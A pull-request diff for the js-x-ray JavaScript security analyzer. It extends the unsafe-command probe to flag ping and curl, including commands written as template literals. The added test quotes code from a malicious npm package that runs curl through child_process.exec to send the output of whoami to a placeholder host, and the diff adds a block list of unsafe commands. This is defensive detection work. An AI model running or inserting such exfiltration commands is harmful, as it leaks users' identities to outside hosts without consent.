Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .changeset/silly-feet-hunt.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
"@nodesecure/js-x-ray": patch
---

Handle curl and ping for unsafe-command probe
22 changes: 18 additions & 4 deletions workspaces/js-x-ray/src/probes/isUnsafeCommand.ts
Original file line number Diff line number Diff line change
Expand Up @@ -5,10 +5,10 @@ import type { ESTree } from "meriyah";
import { SourceFile } from "../SourceFile.js";
import { generateWarning } from "../warnings.js";
import { ProbeSignals } from "../ProbeRunner.js";
import { isLiteral } from "../types/estree.js";
import { isLiteral, isTemplateLiteral } from "../types/estree.js";

// CONSTANTS
const kUnsafeCommands = ["csrutil", "uname"];
const kUnsafeCommands = ["csrutil", "uname", "ping", "curl"];

function isUnsafeCommand(
command: string
Expand All @@ -25,6 +25,20 @@ function isSpawnOrExec(
name === "execSync";
}

function getCommand(commandArg: ESTree.Literal | ESTree.TemplateLiteral): string {
let command = "";
switch (commandArg.type) {
case "Literal":
command = commandArg.value as string;
break;
case "TemplateLiteral":
command = commandArg.quasis.at(0)?.value.raw as string;
break;
}

return command;
}

/**
* @description Detect spawn or exec unsafe commands
* @example
Expand Down Expand Up @@ -93,11 +107,11 @@ function main(
const { sourceFile, data: methodName } = options;

const commandArg = node.arguments[0];
if (!isLiteral(commandArg)) {
if (!isLiteral(commandArg) && !isTemplateLiteral(commandArg)) {
return null;
}

let command = commandArg.value;
let command = getCommand(commandArg);
if (isUnsafeCommand(command)) {
// Spawned command arguments are filled into an Array
// as second arguments. This is why we should add them
Expand Down
18 changes: 18 additions & 0 deletions workspaces/js-x-ray/src/types/estree.ts
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,24 @@ export function isLiteral(
typeof node.value === "string";
}

export function isTemplateLiteral(
node: any
): node is ESTree.TemplateLiteral {
if (!isNode(node) || node.type !== "TemplateLiteral") {
return false;
}

const firstQuasi = node.quasis.at(0);
if (!firstQuasi) {
return false;
}

return (
firstQuasi.type === "TemplateElement" &&
typeof firstQuasi.value.raw === "string"
);
}

export function isCallExpression(
node: any
): node is ESTree.CallExpression {
Expand Down
21 changes: 21 additions & 0 deletions workspaces/js-x-ray/test/probes/isUnsafeCommand.spec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -114,3 +114,24 @@ test("aog-checker detection", () => {
assert.equal(result.kind, kWarningUnsafeCommand);
assert.equal(result.value, "uname -a");
});

test("mydummyproject-zyp detection", () => {
// Ref: https://socket.dev/npm/package/mydummyproject-zyp/files/99.9.9/index.js
const maliciousCode = `
require('child_process').exec('ping -c 4 <URL>');
require('child_process').exec(\`curl -X POST -d "$(whoami)" <URL>/c\`);
require('child_process').exec(\`curl "<URL>/c?user=$(whoami)"\`);
`;

const ast = parseScript(maliciousCode);
const sastAnalysis = getSastAnalysis(maliciousCode, isUnsafeCommand)
.execute(ast.body);

const result = sastAnalysis.warnings();
assert.equal(result.at(0).kind, kWarningUnsafeCommand);
assert.equal(result.at(0).value, "ping -c 4 <URL>");
assert.equal(result.at(1).kind, kWarningUnsafeCommand);
assert.equal(result.at(1).value, "curl -X POST -d \"$(whoami)\" <URL>/c");
assert.equal(result.at(2).kind, kWarningUnsafeCommand);
assert.equal(result.at(2).value, "curl \"<URL>/c?user=$(whoami)\"");
});